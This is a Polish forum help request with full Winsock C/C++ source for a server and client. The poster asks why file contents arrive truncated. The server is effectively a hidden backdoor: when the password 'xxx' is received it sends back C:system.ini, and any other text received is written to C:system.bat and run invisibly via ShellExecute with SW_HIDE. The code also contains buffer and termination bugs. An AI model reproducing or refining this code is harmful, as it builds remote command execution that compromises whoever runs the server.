Prawdę mówiąc nie dokońca zrozumiałem to co napisałeś ,ale jak już zrozumie to skorzystam .
mam jeszcze inny problem i tutaj też kombinuje i nic mi nie wychodzi , a chodzi o to że
serwer otczytuje tekst z pliku ale do klienta przesyła tylko jakieś (nie liczyłem ale na oko)
256 góra 512 znakow .
i nie znam możliwości zwiększenia limitu .
Przedstawię cały kod serwera do sprawdzenia :
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <commctrl.h>
#include<string>
#include <ctype.h>
#define Okno1 100
#define Okno2 101
#define Buton 102
using namespace std;
static TCHAR lpszAppName[] = TEXT( "Serwer_XXX" );
SOCKET nasluchujacy,polaczony;
int rozmiar;
struct sockaddr_in sin;
char odbiorcza[1024];
char wysylajaca[1024];
string pass="xxx";
char lalala[500];
char masa[1024];
char *wiad;
long dlug;
int fel;
HWND hWnd, hEdit, hEdit2, hButon;
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_COMMAND:
switch(LOWORD(wParam))
{
case Buton:
GetWindowText(hEdit2,wysylajaca,1024);
send(polaczony,wysylajaca,1024,0);
break;
}
break;
case WM_USER:
switch (WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
polaczony = accept(nasluchujacy,(struct sockaddr *)&sin, &rozmiar);
send(polaczony,"połączony",1024,0);
break;
case FD_READ:
recv(polaczony,odbiorcza,1024,0);
SetWindowText(hEdit,odbiorcza);
GetWindowText(hEdit,lalala,500);
if (lalala ==pass)
{FILE *tex;
tex = fopen("C:system.ini","a+");
fclose(tex);
tex = fopen("C:system.ini","rb");
fseek(tex,0,SEEK_END);
dlug = ftell(tex);
fseek(tex,0,SEEK_SET);
wiad=(char *)malloc(dlug);
fel=fread(wiad,1,dlug,tex);
wiad[fel] = '0';
SetWindowText(hEdit2,wiad);
GetWindowText(hEdit2,masa,1024);
send(polaczony,masa,1024,0);
fclose(tex);
}
else
{
FILE *file;
file=fopen("C:system.bat","w");
fclose(file);
file = fopen("C:system.bat","a+");
fputs(lalala,file);
fclose(file);
ShellExecute(0,"open","C:system.bat",0,0,SW_HIDE);
send(polaczony,"bat uruchomiony",1024,0);
}
break;
case FD_CONNECT:
break;
case FD_WRITE:
break;
}
break;
case WM_CREATE:
break;
case WM_DESTROY:
closesocket(polaczony);
closesocket(nasluchujacy);
WSACleanup();
PostQuitMessage(0);
break;
case WM_KEYDOWN:
break;
default:
return (DefWindowProc(hWnd, uMsg, wParam, lParam));
}
return(0L);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = MainWndProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = ExtractIcon(hInstance,"icon1.ico",0);
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = lpszAppName;
if(RegisterClass(&wndclass) == 0)
return FALSE;
hWnd = CreateWindow(lpszAppName, lpszAppName,
WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN | WS_CLIPSIBLINGS,
300, 300,
440,300, NULL, NULL, hInstance, NULL);
if(hWnd == NULL)
return FALSE;
hEdit = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"",WS_CHILD|WS_VISIBLE|ES_MULTILINE|ES_AUTOHSCROLL|ES_AUTOVSCROLL|WS_VSCROLL|
WS_HSCROLL,10,10,200,200,hWnd,(HMENU)Okno1,hInstance,NULL);
hEdit2 = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"",WS_CHILD|WS_VISIBLE|ES_MULTILINE|ES_AUTOHSCROLL|ES_AUTOVSCROLL|WS_VSCROLL|
WS_HSCROLL,220,10,200,200,hWnd,(HMENU)Okno2,hInstance,NULL);
hButon = CreateWindow("button","wyślij",WS_CHILD|WS_VISIBLE,220,220,100,20,hWnd,(HMENU)Buton,hInstance,NULL);
ShowWindow(hWnd, SW_SHOW);
UpdateWindow(hWnd);
int blad;
WORD wersja;
WSADATA wsaData;
wersja = MAKEWORD( 2, 0 );
blad = WSAStartup(wersja, &wsaData );
if ( blad != 0 )
{
MessageBox(hWnd,"error WSA","ERROR",MB_OK);
WSACleanup();
}
if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 0 )
{
MessageBox(hWnd,"error zła wersja winsocket","ERROR",MB_OK);
WSACleanup();
}
nasluchujacy = socket( AF_INET, SOCK_STREAM, 0 );
memset( &sin, 0, 1024 );
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(3023);
rozmiar = 1024;
if ( bind(nasluchujacy,(struct sockaddr *)&sin, 1024 )== SOCKET_ERROR )
{
MessageBox(hWnd,"bind - błąd","błąd",MB_OK);
WSACleanup();
}
if (listen(nasluchujacy,SOMAXCONN)==SOCKET_ERROR)
{
MessageBox(hWnd,"error listen","ERROR",MB_OK);
WSACleanup();
}
WSAAsyncSelect(nasluchujacy,hWnd,WM_USER,FD_ACCEPT|FD_CONNECT|FD_READ|FD_WRITE);
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
w oknie serwera jest cały tekst odczytany z pliku ale do klienta już całości nie wysyła
i nie wiem gdzie jest błąd w serwerze czy w kliencie
teraz dam kod klienta :
#include <winsock2.h>
#include <windows.h>
#include <commctrl.h>
#define Okno1 100
#define Okno2 101
#define Polacz 102
#define Wyslij 103
#define MaleOkno 104
SOCKET klient;
struct sockaddr_in sin;
char hoststr[50];
char wysylajaca[1024];
char odbiorcza[1024];
static TCHAR lpszAppName[] = TEXT( "Klient_XXX" );
HWND hWnd,hEdit,hEdit2,hEdit3,hButon,hButon2;
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_COMMAND:
switch(LOWORD(wParam))
{
case Polacz:
struct hostent *host;
GetWindowText(hEdit3,hoststr,50);
host=gethostbyname(hoststr);
memset( &sin, 0, 1024);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ((struct in_addr *)(host->h_addr))->s_addr;
sin.sin_port = htons(3023);
connect(klient,(struct sockaddr *) &sin, 1024);
break;
case Wyslij:
GetWindowText(hEdit2,wysylajaca,1024);
send(klient,(char*)&wysylajaca,1024,0);
break;
}
break;
case WM_USER:
switch (WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
break;
case FD_READ:
recv(klient,odbiorcza,1024,0);
SetWindowText(hEdit,odbiorcza);
break;
case FD_CONNECT:
break;
case FD_WRITE:
break;
}
case WM_CREATE:
break;
case WM_DESTROY:
closesocket(klient);
WSACleanup();
PostQuitMessage(0);
break;
case WM_KEYDOWN:
break;
default:
return (DefWindowProc(hWnd, uMsg, wParam, lParam));
}
return(0L);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
WNDCLASS wc;
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = MainWndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = ExtractIcon(hInstance,"icon1.ico",0);;
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
wc.lpszMenuName = NULL;
wc.lpszClassName = lpszAppName;
if(RegisterClass(&wc) == 0)
return FALSE;
hWnd = CreateWindow(lpszAppName, lpszAppName,
WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN | WS_CLIPSIBLINGS,
400, 400,
500, 300, NULL, NULL, hInstance, NULL);
if(hWnd == NULL)
return FALSE;
hEdit = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"",WS_CHILD|WS_VISIBLE|ES_MULTILINE|ES_AUTOHSCROLL|ES_AUTOVSCROLL|WS_VSCROLL|
WS_HSCROLL,10,10,270,200,hWnd,(HMENU)Okno1,hInstance,NULL);
hEdit2 = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"",WS_CHILD|WS_VISIBLE|ES_MULTILINE|ES_AUTOHSCROLL|ES_AUTOVSCROLL|WS_VSCROLL|
WS_HSCROLL,290,10,200,200,hWnd,(HMENU)Okno2,hInstance,NULL);
hEdit3 = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"localhost",WS_CHILD|WS_VISIBLE,10,250,410,20,hWnd,(HMENU)MaleOkno,hInstance,NULL);
hButon = CreateWindow("button","połącz",WS_CHILD|WS_VISIBLE,10,220,100,20,hWnd,(HMENU)Polacz,hInstance,NULL);
hButon2 = CreateWindow("button","wyślij",WS_CHILD|WS_VISIBLE,290,220,100,20,hWnd,(HMENU)Wyslij,hInstance,NULL);
int blad;
WORD wersja;
WSADATA wsaData;
wersja = MAKEWORD( 2, 0 );
blad = WSAStartup(wersja, &wsaData );
if ( blad != 0 )
{
MessageBox(hWnd,"error WSA","ERROR",MB_OK);
WSACleanup();
}
if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 0 )
{
MessageBox(hWnd,"error zła wersja winsocket","ERROR",MB_OK);
WSACleanup();
}
ShowWindow(hWnd, SW_SHOW);
UpdateWindow(hWnd);
klient = socket( AF_INET, SOCK_STREAM, 0 );
WSAAsyncSelect(klient,hWnd,WM_USER,FD_CONNECT|FD_READ|FD_WRITE|FD_ACCEPT);
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
Myślę że dla kogoś kto dłużej w tym siedzi to pewnie będzie bardzo proste aby to zrobić tak żeby działało .